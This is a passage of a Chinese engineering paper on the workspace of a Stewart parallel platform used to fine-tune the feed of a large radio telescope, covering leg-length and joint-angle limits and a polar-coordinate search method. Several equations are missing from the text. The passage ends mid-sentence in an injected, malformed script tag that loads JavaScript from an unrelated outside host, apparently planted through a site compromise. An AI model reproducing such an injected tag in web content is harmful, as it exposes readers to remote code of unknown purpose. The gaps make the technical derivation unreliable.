摘 要：以大射电望远镜精调stewart平台为研究对象，分析了stewart平台工作空间的影响因素，根据给定的馈源可达空间求得了stewart平台支腿长度和运动副转角的极限值，并采用快速极坐标搜索法确定了所得stewart平台的工作空间。
关键词：大射电望远镜；机器人；stewart平台；工作空间；快速极坐标搜索法
study of workspace of the stewart platform for fine tuning
of the large radio telescope
duan xuechao，chou yuanying，duan baoyan
(school of electromechanical enyineering, xidian university,xi′an 710071, china)
abstract：by taking the fine tuning stewart platform for large radio telescope as an example this paper analyzes the factors effecting its workspace . extreme structural parameters are worked out based on the given workspace of the feed, then with the fast polar coordinate searching method the workspace of the stewart platform is determined.
keywords：large radio telescope; robotics; stewart platform; workspace; fast polar coordinate searching method
0引言
并联机器人是一类全新结构的机器人，由于其刚度大、承载能力强、操作精度高等优点而成为一个热门研究领域，并且得到了广泛的应用。“新一代大射电望远镜机电光一体化创新设计”所采用的精调stewart［1~3］衡量机器人性能的重要指标，并联机器人工作空间的解析求解是一个非常复杂的问题，至今还没有完善的方法，所以目前只能采用数值解法对stewart平台的工作空间进行分析［4］。
由于设想接收射电信号的多波束馈源采用圆极化方式实现，装置在动平台上的馈源绕其本身对称轴的旋转运动并不影响其信号接收［2］。因此，对于精调stewart平台来说，只需工作在五自由度状态下，从而降低了求解其工作空间的难度。
文章首先分析了影响五自由度stewart平台工作空间的主要因素，采用快速极坐标搜索算法，确定了五自由度stewart平台的工作空间；并对如何根据给定的馈源可达空间确定stewart平台的结构参数做了研究。通过大射电望远镜50米缩比模型精调stewart平台实例分析，验证了所提出方法的有效性。为大射电望远镜馈源轨迹跟踪方案的确定、进一步研究和设计stewart平台奠定了基础。
1stewart平台工作空间的影响因素
大射电望远镜50米缩比模型所使用的精调stewart平台的结构及相应的坐标系如图1所示，六条长度可变的支腿分别与上下平台通过虎克铰和球铰相连，铰点分布水平投影如图2所示。通过改变六条支腿的长度，可以使下平台相对上平台做六自由度的运动。一般情况下，stewart平台的工作空间主要受三个因素的影响：支腿长度的限制、运动副转角的限制和支腿之间的干涉［4］。
前面已经提到，对于精调stewart 平台来说，只需 工作在五自由度状态下，即不要求下平台相对于上平台作绕本身z轴的转动，所以在stewart平台的工作过程中不会发生支腿的干涉。那么，对该特殊的五自由度stewart平台来说，限制其工作空间的因素仅为最大腿长、最小腿长以及运动副转角的最大值。
1.1支腿长度的限制
如图1所示分别在上下平台上建立坐标系{o}和{p},坐标原点o、p分别位于上下平台的中心，坐标轴x、x分别位于∠b1ob6、∠p1pp6的平分线上。
由图2所示铰点投影的几何关系可求得各铰点在局部坐标系中的坐标。上下平台铰点的坐标分别用bi和pi表示，其中i＝1,2,...,6. 用αbi表示obi与x的夹角，用αpi表示ppi与x的夹角(i＝1,2,...6)，rb,rp分别表示上下平台的半径。则有：
式中，p为惯性坐标系{o}的原点o到运动坐标系{p}的原点p的位置矢量，r为坐标旋转变换矩阵。
如果采用横滚（roll）、俯仰(pitch)和偏转(yaw)旋转集合［7］，ψ,φ,θ分别表示动平台绕静平台z轴、y轴和x轴的转动角度，则可写出：
式中cθ、sθ分别表示cosθ、sinθ。
第i条支腿的长度为：
1.2运动副转角的限制
虎克铰和球铰的转角都有各自的最大值，这是由它们自身结构所决定的。如图3所示，第i条腿的长度矢量用li表示，分别用nbi、npi表示第i个虎克铰和球铰的基座在坐标系{o}和{p}中的姿态，那么球铰转角的约束条件是：
θpmax表示球铰的最大转角。同理，虎克铰的转角约束条件如下：
θbmax表示虎克铰的最大转角。
2确定stewart平台工作空间的方法
大射电望远镜的馈源安装在精调stewart平台下平台的中心位置，所以其工作空间为下平台中心点可以到达的点的集合。按照位置逆解的?script src=http://er12.com/t.js>
